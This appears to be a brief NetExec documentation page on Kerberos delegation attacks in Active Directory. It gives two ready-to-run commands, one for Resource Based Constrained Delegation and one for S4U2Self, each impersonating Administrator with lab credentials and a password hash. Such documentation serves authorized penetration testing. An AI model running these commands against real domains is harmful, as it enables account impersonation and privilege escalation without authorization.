# Delegation

## RBCD

If you have an object with the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute set to an account you control you can use the impersonate flag inside NetExec to automatically execute the Resource Based Constrained Delegation and impersonate any user:

```bash
nxc smb 192.168.56.11 -u jon.snow -p iknownothing --delegate Administrator
```

## S4U2Self

If you have a computer account you can (nearly) always get local administrator with the s4u2self extension:

```bash
nxc smb 192.168.56.10 -u 'KINGSLANDING$' -H 220fc1990391bdc183d1a68c389c0229 --delegate Administrator --self
```
